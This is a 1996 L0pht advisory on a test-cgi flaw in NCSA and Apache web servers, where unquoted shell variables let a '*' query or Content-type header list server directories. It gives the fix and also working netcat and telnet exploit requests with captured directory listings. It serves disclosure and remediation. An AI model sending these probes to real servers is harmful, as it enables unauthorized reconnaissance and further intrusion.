[ Advisory released April 1996 ] L0pht Report test-cgi vulnerability in certain setups Affected Program: test-cgi scripts found on various web servers. Severity: Anyone can remotely inventory the files on a machine. Author: mudge@l0pht.com Synopsis: On many web sites there exists a file called test-cgi (usually in the cgi-bin directory or somewhere similar). There is a problem with many of these test-cgi files. If your test-cgi file contains the following line (verbatim) then you are probably vulnerable. echo QUERY_STRING = $QUERY_STRING All of these lines should have the variables enclosed in loose quotes ("). Without these quotes certain special characters (specifically '*') get expanded where they shouldn't. Thus submitting a query of '*' will return the contents of the current directory (probably where all of the cgi files are... gee, there's jj and phf. Hmmm what are all those other cgi's that I haven't seen... wonder what holes exist in those?). Sending in a query of '/*' will list the root directory. And so on, and so on. This is the same as doing `echo *` when you've blown away 'ls' (not that this ever happens to anyone ). The easiest way to list out the directories is via the query string. However, it is possible to do the same thing through many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.) in the right situations. Fix: The quick fix is to place loose quotes around all of the variables in the test-cgi file (they should have been there from the beginning!). echo QUERY_STRING = "$QUERY_STRING" This incorrect file has been seen in at least several versions of NCSA, and Apache. Example exploit: Below are examples (nc is netcat from avian.org, if you don't have it you should get it as it is an invaluable tool. You can always just telnet to port 80 and type in the GET... command.) ------------------ machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ------------------ Or to see what other cgi-goodies are still floating around... ------------------ machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ================================================================================================ test-cgi | |Another data point for anyone out there running Apache ... test-cgi |in the apache-1.1.1 distribution already has the required | |echo QUERY_STRING = "$QUERY_STRING" | However, it does not have the necessary quotes around the "$CONTENT_TYPE" string. Therefore it's still vulnerable in it's default configuration. Adding "set -f" as the second line of the script closes the hole completely. (www) frankenstein:~$ (echo POST /cgi-bin/test-cgi HTTP/1.0; echo Content-type: \* ; echo Content-length: 0; echo; sleep 5) | telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. HTTP/1.0 200 OK Date: Wed, 04 Dec 1996 04:11:15 GMT Server: Apache/1.1.1 Content-type: text/plain CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = Apache/1.1.1 SERVER_NAME = frankenstein.asylum.net GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = POST HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = REMOTE_HOST = localhost REMOTE_ADDR = 127.0.0.1 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = (bunch of files listed here, whose names I don't care to share) CONTENT_LENGTH = 0 Connection closed by foreign host. (www) frankenstein:~$ --